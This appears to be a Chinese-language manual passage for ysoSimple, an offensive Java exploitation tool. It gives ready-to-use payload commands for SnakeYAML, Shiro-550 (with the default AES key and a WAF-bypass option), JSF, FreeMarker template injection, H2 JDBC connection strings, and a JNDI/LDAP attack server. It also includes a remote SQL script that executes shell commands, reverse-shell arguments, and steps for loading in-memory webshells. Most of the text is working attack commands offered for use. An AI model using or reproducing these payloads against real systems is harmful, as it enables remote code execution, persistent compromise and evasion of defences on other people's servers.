-m SnakeYamlAttack -g MarshalOutputStream -a "C:\Users\butler\Desktop\Memshell\EncryptionUtil.class|D:\\04Testing\\Memshell\\EncryptionUtil.class"
描述:SnakeYAML能调用构造函数,正好能触发 org.springframework.context.support.FileSystemXmlApplicationContext或org.springframework.context.support.ClassPathXmlApplicationContext 的构造方法来造成代码执行
- ClassPathXmlApplicationContext 支持Java中的伪协议:http,file,netdoc,jar...
- ClassPathXmlApplicationContext 支持通配符+伪协议Trick:
- 原理:能将构造方法url参数中的通配符(
*和?)指定的文件整理成Resource,然后通过Spring的UrlResource#getInputStream来调用URL#openConnection进行挨个加载。 - 通配符:这里指的是文件路径中的通配符,
*:匹配任意数量的任意字符(包括0个字符),**表示任意层级的目录(包括0层),?:匹配任意单个字符。 - 环境变量:在构造方法中会调用PropertyPlaceholderHelper#parseStringValue(底层是System#getProperty)解析url参数中
${}的环境变量,使用replace方法替换到url中,比如${catalina.home} - 伪协议+通配符使用方式:在
*和?的前面有*/和:才可以使用通配符Trick。file:///tmp/*.xml,file:///D://tmp//??.?l,file:///{tmp}//??.?l
- 原理:能将构造方法url参数中的通配符(
学习参考:ClassPathXmlApplicationContext的不出网利用
工具:使用这条链会生成 ClassPathXmlApplicationContext 和 FileSystemXmlApplicationContext 俩条Payload。
-m SnakeYamlAttack -g ClassPathXmlApplicationContext -a "http://127.0.0.1:2333/1x.ml"
-m SnakeYamlAttack -g ClassPathXmlApplicationContext -a "file:///tmp/*.xml"
-m SnakeYamlAttack -g ClassPathXmlApplicationContext -a "file:///D://tmp//??.?l"
-m SnakeYamlAttack -g ClassPathXmlApplicationContext -a "file:///tmp/tomcat.*/**/*.tmp"
-m SnakeYamlAttack -g ClassPathXmlApplicationContext -a "file:///C://Users/*/AppData/Local/Temp/tomcat*/**/*.tmp"
-m SnakeYamlAttack -g ClassPathXmlApplicationContext -a "file:///${catalina.home}/**/*.tmp"
-m SnakeYamlAttack -g ClassPathXmlApplicationContext -a “jar:file:///C://Users/*/ascii02.jar!/META-INF/resources/shell.xml"
-m SnakeYamlAttack -g ClassPathXmlApplicationContext -a “jar:file:///tmp/ascii02.jar!/META-INF/resources/shell.xml"
YsoSimple中关于Shiro550有俩个必须要增加的参数:
- shiro-encrypt:指定AES加密的方式
- shiro-key:指定AES加密密钥key
描述:Shiro有俩种加密方式CBC和GCM,高版本Shiro 1.4.2版本更换为了AES-GCM加密方式。漏洞利用时要确保加密方式和密钥首先正确
工具:使用-shiro-encrypt参数指定AES-CBC或AES-GCM,如果不带shiro-key参数则默认的加密key是kPH+bIxk5D2deZiIxcaaaA==
-m YsoAttack -g PrincipalCollectionShiroKeyTest -shiro-encrypt "AES-CBC"描述:Shiro基于AES对称加密,加解密都需要密钥key
工具:使用-shiro-key参数指定要使用的加密key
-m YsoAttack -g PrincipalCollectionShiroKeyTest -shiro-encrypt "AES-CBC" -shiro-key "kPH+bIxk5D2deZiIxcaaaA=="Shiro站点的整体攻击思路:
-
目标是否使用Shiro确认:请求包发送rememberMe=1,返回包中出现deleteMe头则为Shiro
-
加密方式和密钥Key确认:PrincipalCollectionShiroKeyTest链
-
利用链/中间件环境/JDK版本确认:FindClassByDNS/FindGadgetByDNS/FindClassByBomb
-
利用连漏洞利用:直接攻击/字节码分离加载/JRMP反连/ShiroChunkPayload分块传输
-
Shiro绕WAF:
- HTTP请求包变形
- Shiro-Base64编码混淆
描述:当Shiro在处理RememberMe时候,如果密钥正确并且反序列化成功且返回的是对象是PrincipalCollection,不会触发异常,响应包不会带上deleteMe的头,所以可以序列化SimplePrincipalCollection对象来测试Shiro的加密方式和key是否正确。学习自:基于SimplePrincipalCollection检测key是否正确
工具:使用PrincipalCollectionShiroKeyTest利用链来检测当前key是否正确
-m YsoAttack -g PrincipalCollectionShiroKeyTest -shiro-encrypt "AES-CBC" -shiro-key "kPH+bIxk5D2deZiIxcaaaA=="- 当Shiro Key正确时:响应中没有deleteMe
- 当Shiro Key错误时:响应中有deleteMe
描述:当确定目标站点的Shiro加密方式和密钥以及利用链之后,就可以使用Gadget进行攻击了
工具:-g参数指定利用链,-a参数指定利用链对应的漏洞利用效果,后面加上-shiro-encrypt和-shiro-key参数即可使用Shiro加密
Shiro自带1.9x,下面用CommonsBeanutils2来举例:
- 使用指定密钥生成payload:
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:sleep:10" -shiro-encrypt "AES-CBC" -shiro-key "kPH+bIxk5D2deZiIxcaaaA=="- TemplatesImpl加载.class内存马
-m YsoAttack -g CommonsBeanutils2 -a 'Templateslmpl:class_file:/tmp/SessionDataUtil.class' -shiro-encrypt "AES-CBC" -shiro-key "kPH+bIxk5D2deZiIxcaaaA=="描述:在SpringMVC中间件的场景下,如果限制请求header的长度可以使用从请求体中字节码分离加载的方式来减少长度
工具:shiro_spring_loadclass:classData 的功能是从classData参数中读取字节码并用ClassLoader加载
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:shiro_spring_loadclass:classData" -shiro-encrypt "AES-CBC"在HTTP的remeberMe中填充ysoSimple生成的payload,POST的classData中填充Base64格式内存马:
描述:在Tomcat中间件的场景下,如果限制请求header的长度可以使用从请求体中类分离加载的方式来减少长度
工具:shiro_tomcat_loadclass:user 的功能是从user参数中读取字节码并用ClassLoader加载
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:shiro_tomcat_loadclass:user" -shiro-encrypt "AES-CBC"在HTTP的remeberMe中填充上述第二步ysoserial生成的payload,POST的user参数中填充Base64格式内存马:记得URI编码
描述:关于Shiro绕WAF可归纳为俩种方式:
- HTTP请求包变形
- Shiro-Base64编码混淆
工具:Shiro在对RememberMe数据进行Base64解密时会先剔除些不合法的特殊字符:{'$','#','&','!','%','*','-','.'},YsoSimple工具集成该混淆方式。通过添加-shiro-base64WafBypass参数并指定垃圾字符的数量来绕waf,使用如下:
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -shiro-base64WafBypass 150 -shiro-encrypt "AES-CBC"描述:如果目标Shiro环境的jrmp出网,jdk<8u241即可让目标反序列化JRMPClient2利用链,然后反连我们监听的JRMPListener来再次接受Java序列化利用链,目标系统再次反序列化将进行漏洞利用。这个链有很俩个很大的优势:1.利用链足够短;2.不受Tomcat6.0,undertow对TemplatesImpl的限制。
限制:目标Shiro环境的jrmp出网,jdk<8u241
工具:使用该攻击方式分为俩步
- JRMPListener开启RMI服务端监听:
java -cp ysoSimple.jar cn.butler.yso.exploit.JRMPListener 2333 CommonsBeanutils2 "Templateslmpl:dnslog:ywsoxsrsvj.yutu.eu.org"- 让目标系统反序列化JRMPClient2完成攻击:
-m YsoAttack -g JRMPClient2 -a "127.0.0.1:1245" -shiro-encrypt "AES-CBC" -shiro-key "kPH+bIxk5D2deZiIxcaaaA=="描述:Shiro分块在目标系统中写字节码以解决字节码长度过长导致header发不过去。参考bmth666师傅写的好文,大师傅提供了三种方法,我在工具集成中了最后一种设置系统属性写字节码。
限制:注意以下限制
- 我实践打成功的是CB利用链分块写马然后类加载,其他的利用链没有尝试和集成
- 对于undertow,tomcat6.0等这种系统不能调用TemplatesImpl这种打法目前就应该不行了
工具:需要为ShiroChunkPayload类提供5个参数,各个参数的含义如下:
- 参数一:反序列化的利用链,CommonsBeanutils2
- 参数二:加密模式GCM或者CBC
- 参数三:AES加密的密钥Key
- 参数四:需要分块加载的字节码的位置
- 参数五:分块Payload输出的文件位置,一行一个Payload方便用于Burp/Yakit的Intruder
ShiroChunkPayload部分使用设置系统属性来分块写字节码,调用线程上下文类加载器来加载内存马。字节码分块时候默认按照每块字节码的1000长度来分然后Gadget封装。TemplatesImpl和Java字节码都没有进行Compress压缩处理,所以Gadget没有使用任何缩短技术,这块其实还可以做文章来缩短Payload。Usage:
java -cp ysoSimple.jar cn.butler.yso.exploit.ShiroChunkPayload [-g <gadget>] [-m <aseModel>] [-k <shiroKey>] [-f <fileClassByteCode>] [-o <fileOutput>] [-h]例如:
java -cp ysoSimple.jar cn.butler.yso.exploit.ShiroChunkPayload -g CommonsBeanutils2 -m CBC -k kPH+bIxk5D2deZiIxcaaaA== -f /tmp/HTMLUtil.class -o /tmp/ShiroChunk.txt然后将 /tmp/ShiroChunk.txt 放入Yakit进行发包,在目标系统中的系统属性中写入字节码
最后发送类加载的Payload将会执行上述的字节码逻辑
部分中间件的情况可能导致TemplatesImpl无法反序列化:feihong-cs/ShiroExploit-Deprecated#36
目前整理中间件可能出现的情况:Jetty,Weblogic,Tomcat6.0,undertow
描述:JSF的Payload生成逻辑是序列化-->GZIP压缩-->AES加密-->Base64加密。JSF2.2之前的规范不要求使用加密机制,所以会没有AES加密这一层。
工具:如果是JSF2.2之前不需要加密密钥的情况则需要在-jsf-key后写"none"值,如果是有加密密钥的情况则需要在-jsf-key之后写密钥。最后传输数据时候记得url编码。
-m YsoAttack -g FindClassByBomb -a "java.lang.String|23" -jsf-key "none"使用JSF加密密钥的方式:
-m YsoAttack -g CommonsBeanutils2 -a "Templateslmpl:auto_cmd:calc" -jsf-key "kPH+bIxk5D2deZiIxcaaaA=="SSTIAttack模块主要记录下Java中各种模板注入的Payload:
- Freemarker
- Velocity
- Pebble
SSTIAttack模块支持以下额外的参数:
- writeToFile:将生成Payload结果写入到文件中
描述:将生成Payload结果写入到文件中
工具:
-m SSTIAttack -g FreeMarkerExecute -a "calc" -writeToFile "/tmp/freemarker.txt"关于FreeMarker的模板注入可以学习escape-w师傅的freemarker模板注入文章,写的很好
FreeMarker语法:简单记一记
- assign定义变量:
<#assign applicationContext=springMacroRequestContext.webApplicationContext> - 输出变量:
${applicationContext}
描述:FreeMarker的 ?new 内建函数freemarker.template.utility.Execute底层是调用Runtime.exec进行命令执行
限制:FreeMarker的new_builtin_class_resolver配置限制内建函数对类的访问(从 2.3.17版开始),该配置有三种参数:
- UNRESTRICTED_RESOLVER:可以通过
ClassUtil.forName(String)获得任何类。 - SAFER_RESOLVER:禁止加载
ObjectConstructor,Execute和freemarker.template.utility.JythonRuntime这三个类 - ALLOWS_NOTHING_RESOLVER:禁止解析任何类。
工具:
- 因为底层是调用Runtime.exec直接进行命令执行,所以复杂的命令还需要Base64格式传参
- 生成俩种格式的Payload
-m SSTIAttack -g FreeMarkerExecute -a "calc"描述:FreeMarker的 ?new 内建函数freemarker.template.utility.JythonRuntime底层JythonRuntime进行命令执行
限制:FreeMarker的new_builtin_class_resolver配置限制内建函数对类的访问(从 2.3.17版开始),该配置有三种参数:
- UNRESTRICTED_RESOLVER:可以通过
ClassUtil.forName(String)获得任何类。 - SAFER_RESOLVER:禁止加载
ObjectConstructor,Execute和freemarker.template.utility.JythonRuntime这三个类 - ALLOWS_NOTHING_RESOLVER:禁止解析任何类。
工具:网上Payload有问题,暂时未集成测试
-m SSTIAttack -g FreeMarkerJythonRunntime -a "calc"描述:FreeMarker的 ?new 内建函数freemarker.template.utility.ObjectConstructor可根据构造函数参数实例化出一个对象。该方式做漏洞攻击时最为方便的就是js加载内存马
限制:FreeMarker的new_builtin_class_resolver配置限制内建函数对类的访问(从 2.3.17版开始),该配置有三种参数:
- UNRESTRICTED_RESOLVER:可以通过
ClassUtil.forName(String)获得任何类。 - SAFER_RESOLVER:禁止加载
ObjectConstructor,Execute和freemarker.template.utility.JythonRuntime这三个类 - ALLOWS_NOTHING_RESOLVER:禁止解析任何类。
说明:jMG已经支持ObjectConstructor直接注入内存马,但是通常情况下我们并不一定直接打马,有可能会先测试字节码延迟和字节码dnslog来判断是否能加载字节码。
工具:
- 目前支持ObjectConstructor实例化出java.lang.ProcessBuilder进行命令执行
- 目前支持ObjectConstructor实例化出javax.script.ScriptEngineManager来加载js进行利用
ProcessBuilder实例化进行命令执行
-m SSTIAttack -g FreeMarkerObjectConstructor -a "cmd:calc"ScriptEngineManager加载js执行字节码:注意:
- JavaScript加载同类名字节码只能打一次,第二次就不行,所以做漏洞利用时记得切换类名。
-m SSTIAttack -g FreeMarkerObjectConstructor -a "JSExpression:auto_cmd:calc"这里的auto_cmd参数可以替换为字节码执行的多种漏洞利用效果参数。
描述:Freemarker内置函数?api可以调用对象的方法,但是这个对象的需要是数据模型或者是已经定义的对象,具体不太清楚,也有沙箱的限制
限制:在FreeMarker中api_builtin_enabled为true时才有效,而该配置在2.3.22版本之后默认为false
工具:
-m SSTIAttack -g FreeMarkerAPI -a ""描述:FreeMarker支持的StaticModel配置支持调用静态方法,但该配置需要手动开启
限制:需要目标应用开启StaticModel配置
工具:目前只支持JNDI的利用
-m SSTIAttack -g FreeMarkerStaticModel -a ""描述:FreeMarker<2.3.30时由于自身沙箱机制过滤不完全导致可以通过应用中携带的数据模型获取class对象然后获取classloader进而进行利用
限制:FreeMarker<2.3.30且应用有设置数据模型
工具:
- 目前仅支持实例化出javax.script.ScriptEngineManager来加载js进行利用
- 第一个site参数是数据模型,后面的参数写字节码执行的多种漏洞利用效果参数
- JavaScript加载同类名字节码只能打一次,第二次就不行了。
-m SSTIAttack -g FreeMarkerDataModel -a "site:auto_cmd:calc"描述:FreeMarker如果开启SpringMacroHelper的配置,可通过该变量获取到webApplicationContext上下文然后开启NewBuiltinClassResolver配置进而通过Execute/ObjectConstructor/JythonRuntime继续进行漏洞利用
限制:FreeMarker开启SpringMacroHelper的配置且能在可控的模板中使用springMacroRequestContext数据模型
工具:第一个参数为FreeMarkerExecute/FreeMarkerJythonRunntime/FreeMarkerObjectConstructor;第二个参数为ysoSimple在FreeMarker的?new三种方式Payload生成的利用参数
springMacroRequestContext开启NewBuiltinClassResolver,利用FreeMarkerExecute内置函数执行命令
-m SSTIAttack -g FreeMarkerSpringMacro -a "FreeMarkerExecute:calc"springMacroRequestContext开启NewBuiltinClassResolver,利用FreeMarkerObjectConstructor内置函数加载字节码。下面这组命令
-m SSTIAttack -g FreeMarkerSpringMacro -a "FreeMarkerObjectConstructor:JSExpression:auto_cmd:calc"生成效果:
<#assign applicationContext=springMacroRequestContext.webApplicationContext>
${applicationContext}
<#assign fc=applicationContext.getBean('freeMarkerConfiguration')>
<#assign dcr=fc.getDefaultConfiguration().getNewBuiltinClassResolver()>
<#assign VOID=fc.setNewBuiltinClassResolver(dcr)>
${"freemarker.template.utility.Execute"?new()("calc")}工具集成常见的JdbcAttack Payload,这些都是原始的连接串。下面是些注意事项:
- 如果它们需要被嵌套在Fastjson中等进行利用,需要进行关键字符转义操作
- 某些JDBC连接串因为自身语法必须添加换行符等
认知:H2DataBase数据库的打法是通过执行SQL语句来RCE的,而H2数据库建立连接时INIT参数配置正好支持执行多条SQL语句。
ysoSimple:工具中的H2DataBase系列Payload生成都是生成连接串:
| 连接串 | 参数 | 功效 | 备注 |
|---|---|---|---|
| H2CreateAlias | auto_cmd:calc | 因为是Java代码执行所以支持漏洞利用参数中的Java代码的漏洞利用效果参数 |
1..如果攻防中INIT参数被过滤可以使用ı大小写转换绕过,参考:https://rce.moe/2023/07/28/Metabase-CVE-2023-38646/ |
| H2RunScript | http://127.0.0.1:2333/update | 远程加载sql文件执行多组sql语句 | 1.关于.sql文件名后缀可以没有 |
| H2Groovy | auto_cmd:calc | 调用Groovy引擎执行JS表达式再执行Java代码 | 1.H2支持调用Groovy引擎 |
| H2JavaScript | auto_cmd:calc | 调用JavaScript引擎执行Java代码 | 1.H2支持调用JavaScript引擎 |
H2连接时的一些配置参数:
- TRACE_LEVEL_SYSTEM_OUT=3
- MODE=MSSQLServer
描述:支持使用CREATE ALIAS来创建函数,函数体里面可以执行Java代码
工具:因为载体是代码执行,H2CreateAlias链子的args参数可以是Java代码漏洞利用效果的参数
#延迟测试
-m JdbcAttack -g H2CreateAlias -a "sleep:5"
#反弹Shell
-m JdbcAttack -g H2CreateAlias -a "reverse_shell:127.0.0.1:2333"
#unsafe进行字节码加载
-m JdbcAttack -g H2CreateAlias -a "unsafe_defineAnonymousClass:auto_cmd:calc"
-m JdbcAttack -g H2CreateAlias -a "unsafe_defineAnonymousClass:class_file:<class_file_path>"
#classloader进行字节码加载
-m JdbcAttack -g H2CreateAlias -a "classloader_defineclass:auto_cmd:calc"
-m JdbcAttack -g H2CreateAlias -a "classloader_defineclass:class_file:<class_file_path>"
#bypassjdk高版本的module限制
-m JdbcAttack -g H2CreateAlias -a "bypassmodule_classloader_defineclass:auto_cmd:calc"
-m JdbcAttack -g H2CreateAlias -a "bypassmodule_classloader_defineclass:class_file:<class_file_path>"描述:INIT RUNSCRIPT加载远程sql文件并执行其中的SQL语句,文件的sql后缀可有可无
工具:使用方式如下:
-m JdbcAttack -g H2RunScript -a "http://127.0.0.1:2333/update"远程SQL文件:update 文件
DROP alias if EXISTS Exploit_y5d;
CREATE ALIAS Exploit_y5d AS $$void Exploit_y5d() throws Exception {String[] cmds = null;
String osType = System.getProperty("os.name").toLowerCase();
if(osType.contains("windows")){
cmds = new String[]{"cmd.exe","/c",new java.lang.String(new byte[]{99,97,108,99})};
}else{
cmds = new String[]{"/bin/sh","-c",new java.lang.String(new byte[]{99,97,108,99})};
}
java.lang.Runtime.getRuntime().exec(cmds);}$$;SELECT Exploit_y5d();描述:使用H2的Create Trigger方式来触发的Groovy表达式执行。
工具:工具没有使用Groovy的Java代码来完成漏洞利用操作而是调用JS表达式来执行字节码达到的利用效果。args参数可以是代码执行漏洞利用效果的参数
#延迟测试
-m JdbcAttack -g H2Groovy -a "sleep:5"
#反弹Shell
-m JdbcAttack -g H2Groovy -a "reverse_shell:127.0.0.1:2333"
#unsafe进行字节码加载
-m JdbcAttack -g H2Groovy -a "unsafe_defineAnonymousClass:class_file:<class_file_path>"
#classloader进行字节码加载
-m JdbcAttack -g H2Groovy -a "classloader_defineclass:class_file:<class_file_path>"描述:CREATE ALIAS FOR的H2 SQL语句支持调用Java静态方法,但是需要执行俩步SQL语句。目前支持JNDI静态方法打法,而且这个方式应该是对部分API有所限制:org.h2.jdbc.JdbcSQLDataException: Serialization failed, cause: "java.io.NotSerializableException: com.sun.jndi.dns.DnsContext"; SQL statement:
工具:只适配了jndi所以直接写jndi的地址
-m JdbcAttack -g H2StaticMethod -a "dns://dawoegr.dnslog.cn"描述:H2支持执行JavaScript表达式的语句,用它来做漏洞利用;需要注意使用classloader来加载java字节码只能触发一次漏洞利用效果,第二次就不行了。所以推荐使用unsafe的方式来执行Java字节码,它没有这个问题。
工具:使用方式如下:
#延迟测试
-m JdbcAttack -g H2JavaScript -a "sleep:5"
#执行命令
-m JdbcAttack -g H2JavaScript -a "auto_cmd:calc"
#unsafe执行java字节码
-m JdbcAttack -g H2JavaScript -a "unsafe_defineAnonymousClass:class_file:<class_file_path>"
#classloader执行java字节码
-m JdbcAttack -g H2JavaScript -a "classloader_defineclass:class_file:<class_file_path>"当时学习JNDI注入时候从浅蓝师傅的JNDI漏洞的利用手法和X1r0z师傅的JNDIMap工具中学到很多思路,X1r0z师傅的这款工具写的很好,我把大师傅的套过来简单修改了下便于实战使用。
Usage:一键开启LDAP,RMI,HTTP服务器
java -jar ysoSimple.jar -m JNDIAttack [-i <ip>] [-r <rmi-Port>] [-l <ldap-Port>] [-p <http-Port>] [-u <jndi-url>] [-ju <jndi-useReferenceOnly>]-i: 服务器监听 IP (必须指定一个目标可访问到的 IP, 例如 192.168.1.100, 不能用 0.0.0.0)
-r: RMI 服务器监听端口, 默认为 1099
-l: LDAP 服务器监听端口, 默认为 1389
-w: HTTP 服务器监听端口, 默认为 3456
-u: 手动指定 JNDI 路由, 例如 /Basic/auto_cmd/calc (如:LdapAttribute场景的JNDI URL不可控)
-ju: 让LDAP服务使用 javaReferenceAddress 直接返回Reference对象
jndi url中的漏洞利用参数可以直接使用也可以Base64 URL 编码,直接传参数打不通的时候传递Base64编码后的参数试一试。
-i:服务器监听使用的IP(须指定一个目标可访问到的 IP, 例如 192.168.1.100, 不能用 0.0.0.0)
-m JNDIAttack -i 127.0.0.1指定服务器的端口:
-m JNDIAttack -i 127.0.0.1 -r 1234 -l 1235 -w 1236-u:手动指定 JNDI 路由, 例如 /Basic/auto_cmd/calc (某些场景的 JNDI URL 不可控,比如说LdapAttribute打ldap注入的场景下)
配置自定义连接串后无论咋样的jndi url都会交于JNDI服务器的/Basic/auto_cmd/calc处理器处理
-m JNDIAttack -i 127.0.0.1 -u /Basic/auto_cmd/Y2FsYw==-ju: -jndi-useReferenceOnly参数可让LDAP服务使用 javaReferenceAddress 直接返回Reference对象,从而绕过jdk高版本因为com.sun.jndi.ldap.object.trustSerialData 为false对javaSerializedData返回Reference对象的限制。
-m JNDIAttack -i 127.0.0.1 -ju
描述:Jdk小于 8u121(RMI 协议)或 8u191(LDAP 协议)时支持从远程加载ObjectFactory工厂类,该部分Payload是基于此种攻击手法进行漏洞利用
限制:jdk<8u121 RMI协议,jdk<8u191 LDAP协议
工具:引用ThirdParyAttack模块辅助生成字节码,使用ldap和rmi都是一样的攻击url:
# 发起 DNS 请求
ldap://127.0.0.1:1389/Basic/dnslog/bynamkbors.iyhc.eu.org
ldap://127.0.0.1:1389/Basic/dnslog/ZG9tYWluLmxvZ2Rucy5vcmc=
# 使用 Sleep 进行延迟
ldap://127.0.0.1:1389/Basic/sleep/5
ldap://127.0.0.1:1389/Basic/sleep/NQ==
# 自动识别系统命令执行
ldap://127.0.0.1:1389/Basic/auto_cmd/calc
ldap://127.0.0.1:1389/Basic/auto_cmd/Y2FsYw==
# 自定义字节码
# 从运行JNDI所在的服务器路径上加载字节码(base64-url-encoded-path-to-evil-class-file为恶意字节码在服务器上的路径),可直接写jMG生成的内存马路径
ldap://127.0.0.1:1389/Basic/class_file/<base64-url-encoded-path-to-evil-class-file>描述:JDK8u191以上版本,不支持从远程加载恶意的ObjectFactory,但是可以在返回的Reference中指定本地的ObjectFactory,本地工厂类须在受害目标本地的CLASSPATH中。我们可以寻找常见的实现javax.naming.spi.ObjectFactory接口的类,并且存在 getObjectInstance()方法。且最终能够实现文件读/文件写/命令执行/代码执行等恶意操作的类。本部分是关于BeanFactory利用方式,它能够触发某个类的单参数方法。
限制:BeanFactory利用成功需要以下条件:
-
目标环境中存在Tomcat相关依赖(因为BeanFactory在其中),并且其也受Tomcat版本限制,高版本和低版本都不行:
- 低版本的tomcat又不支持"forceString"属性,比如说tomcat8.0.15
- 高版本的 tomcat 依赖包 (8.5.85) 已经禁用了 forceString
-
MLet探测类存在:见下面
-
EL-Processor表达式限制:见下面
-
Groovy表达式限制:见下面
-
SnakeYaml反序列化限制:见下面
描述:javax.management.loading.MLet继承自URLClassLoader,addURL方法会访问远程服务器,loadClass方法可以检测目标是否存在某个类,因此可以结合使用用于检测某个类是否存在。当某个类存在时候远端HTTP服务器会收到请求
限制:依托BeanFactory类进行利用
工具:使用 MLet 探测 classpath 中存在的类。如果 com.example.TestClass 这个类存在, 则 HTTP 服务器会接收到一个 /com/example/TestClass_exists.class 请求。可能需要探测的类:
java.lang.String #判定BeanFactory打法是否可行,需要依托HTTP出网
java.util.Base64
javax.el.ELProcessor
groovy.lang.GroovyShell
groovy.lang.GroovyClassLoader
org.yaml.snakeyaml.Yaml
......
org.apache.commons.dbcp.BasicDataSourceFactory
org.apache.commons.dbcp2.BasicDataSourceFactory
com.alibaba.druid.pool.DruidDataSourceFactory
com.zaxxer.hikari.HikariJNDIFactory
com.alibaba.druid.pool.DruidDataSourceFactory
org.apache.tomcat.dbcp.dbcp2.BasicDataSourceFactory
org.apache.tomcat.jdbc.pool.DataSourceFactory
......
groovy.sql.Sql
......
org.springframework.context.support.ClassPathXmlApplicationContext
......
org.postgresql.Driver使用方式:
ldap://127.0.0.1:1389/MLet/com.example.TestClass描述:javax.el.ELProcessor的eval方法接受的参数可以执行EL表达式,结合BeanFactory可进行漏洞利用。
限制:依托BeanFactory类进行利用,需要EL表达式依赖。Tomcat7(没有ELProcessor)
工具:因为JS是个很好执行Java字节码的载体,工具使用EL执行ScriptEngineManager(JS)来执行Java字节码从而到达漏洞利用效果,使用方式:
# 发起 DNS 请求
ldap://127.0.0.1:1389/TomcatBypass/dnslog/domain.logdns.org
ldap://127.0.0.1:1389/TomcatBypass/dnslog/ZG9tYWluLmxvZ2Rucy5vcmc=
# 使用 Sleep 进行延迟
ldap://127.0.0.1:1389/TomcatBypass/sleep/5
ldap://127.0.0.1:1389/TomcatBypass/sleep/NQ==
# 自动识别系统命令执行
ldap://127.0.0.1:1389/TomcatBypass/auto_cmd/calc
ldap://127.0.0.1:1389/TomcatBypass/auto_cmd/Y2FsYw==
# 自定义字节码
# 从运行JNDI所在的服务器路径上加载字节码(base64-url-encoded-path-to-evil-class-file为恶意字节码在服务器上的路径),可直接写jMG生成的内存马路径
ldap://127.0.0.1:1389/TomcatBypass/class_file/<base64-url-encoded-path-to-evil-class-file>描述:groovy.lang.GroovyShell类的evaluate方法是单参数形式可以被BeanFactory使用
限制:依托BeanFactory类进行利用,
工具:
# 线程sleep探测是否存在Groovy Shell注入
ldap://127.0.0.1:1389/GroovyShell/sleep/5
ldap://127.0.0.1:1389/GroovyShell/sleep/NQ==
# 以Runtime为载体的Java命令执行
ldap://127.0.0.1:1389/GroovyShell/auto_cmd/calc
ldap://127.0.0.1:1389/GroovyShell/auto_cmd/Y2FsYw==
# 自定义字节码
# 从运行JNDI所在的服务器路径上加载字节码(base64-url-encoded-path-to-evil-class-file为恶意字节码在服务器上的路径),可直接写jMG生成的内存马路径
ldap://127.0.0.1:1389/GroovyShell/class_file/<base64-url-encoded-path-to-evil-class-file>
ldap://127.0.0.1:1389/GroovyShell/class_file//tmp/T3630456155100.class
ldap://127.0.0.1:1389/GroovyShell/class_file/L3RtcC9UMzYzMDQ1NjE1NTEwMC5jbGFzcw==描述:groovy.lang.GroovyClassLoader类的parseClass方法是单参数形式可以被BeanFactory使用
限制:依托BeanFactory类进行利用,注入内存马
工具:
# 线程sleep探测是否存在GroovyClassLoader注入
ldap://127.0.0.1:1389/GroovyClassLoader/sleep/5
ldap://127.0.0.1:1389/GroovyClassLoader/sleep/NQ==
# 以Runtime为载体的Java命令执行
ldap://127.0.0.1:1389/GroovyClassLoader/auto_cmd/calc
ldap://127.0.0.1:1389/GroovyClassLoader/auto_cmd/Y2FsYw==
# 自定义字节码
# 从运行JNDI所在的服务器路径上加载字节码(base64-url-encoded-path-to-evil-class-file为恶意字节码在服务器上的路径),可直接写jMG生成的内存马路径
ldap://127.0.0.1:1389/GroovyClassLoader/class_file/<base64-url-encoded-path-to-evil-class-file>
ldap://127.0.0.1:1389/GroovyClassLoader/class_file//tmp/T3630456155100.class
ldap://127.0.0.1:1389/GroovyClassLoader/class_file/L3RtcC9UMzYzMDQ1NjE1NTEwMC5jbGFzcw==SnakeYaml反序列化的参数也是单参数的形式,牵扯到SnakeYaml反序列化的话可以打的方式挺多的:
SnakeYaml反序列化打JNDI:JdbcRowImpl,C3P0 JndiRefForwardingDataSource、、- SnakeYaml反序列化打URLClassLoader远程类加载:ScriptEngineManager
SnakeYaml反序列化打Java反序列化:C3P0 WrapperConnectionPoolDataSource
描述:SnakeYaml反序列化还有Java反序列化的打法,但是JNDI有LDAP打Java反序列化所以这个没必要
限制:依托BeanFactory类进行利用,
工具:ScriptEngineManager进行URLClassLoader远程类加载:
# 发起 DNS 请求
ldap://127.0.0.1:1389/SnakeYaml/dnslog/domain.logdns.org
ldap://127.0.0.1:1389/SnakeYaml/dnslog/ZG9tYWluLmxvZ2Rucy5vcmc=
# 使用 Sleep 进行延迟
ldap://127.0.0.1:1389/SnakeYaml/sleep/5
ldap://127.0.0.1:1389/SnakeYaml/sleep/NQ==
# 自动识别系统命令执行
ldap://127.0.0.1:1389/SnakeYaml/auto_cmd/calc
ldap://127.0.0.1:1389/SnakeYaml/auto_cmd/Y2FsYw==
# 自定义字节码
# 从运行JNDI所在的服务器路径上加载字节码(base64-url-encoded-path-to-evil-class-file为恶意字节码在服务器上的路径),可直接写jMG生成的内存马路径
ldap://127.0.0.1:1389/SnakeYaml/class_file/<base64-url-encoded-path-to-evil-class-file>在tomcat-jdbc.jar包中有个org.apache.tomcat.jdbc.naming.GenericNamingResourcesFactory类,它的getObjectInstance方法会将ResourceRef指定的resourceClass目标类进行无参实例化并调用该类的setter方法(setter方法参数为单字符串参数)。所以说如果有某个类的单参数setter方法有危险的利用就可以搭配GenericNamingResourcesFactory进行组合。
参考资料:Java_JDBC(commonscollection3.2.2)Bypass avss geekcon初赛old-log学习
描述:setter方法常见的攻击方式有修改系统属性,commons-configuration.jar中的SystemConfiguration.setSystemProperties(String fileName)。groovy.jar中的SystemUtil.setSystemPropertyFrom(String nameValue)。
但是修改系统属性还需要注意生效的问题,jndi安全防护机制相关的系统属性由于是在类加载的时候即已设定,所以在程序运行时候将无法修改。但是如果像CC3.2.2的安全防护机制因为是在实时获取系统属性,所以可以修改成功然后打链子:org.apache.commons.collections.functors.FunctorUtils#checkUnsafeSerialization
限制:依托于GenericNamingResourcesFactory工厂类,有commons-configuration.jar或者groovy.jar能设置系统属性的依赖。只能修改实时获取的系统属性
工具:目前工具集成的是GenericNamingResourcesFactory通过commons-configuration.jar的SystemConfiguration#setSystemProperties方法修改系统属性:
ldap://127.0.0.1:1389/Setter/SystemConfiguration/a=1
ldap://127.0.0.1:1389/Setter/SystemConfiguration/YT0x
ldap://127.0.0.1:1389/Setter/SystemConfiguration/org.apache.commons.collections.enableUnsafeSerialization=true
ldap://127.0.0.1:1389/Setter/SystemConfiguration/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmVuYWJsZVVuc2FmZVNlcmlhbGl6YXRpb249dHJ1ZQ==学习参考:CVE-2022-39197 CS RCE复现分析 一次曲折的JDK反序列化到JNDI注入绕(no forceString) SVG files and Java code execution
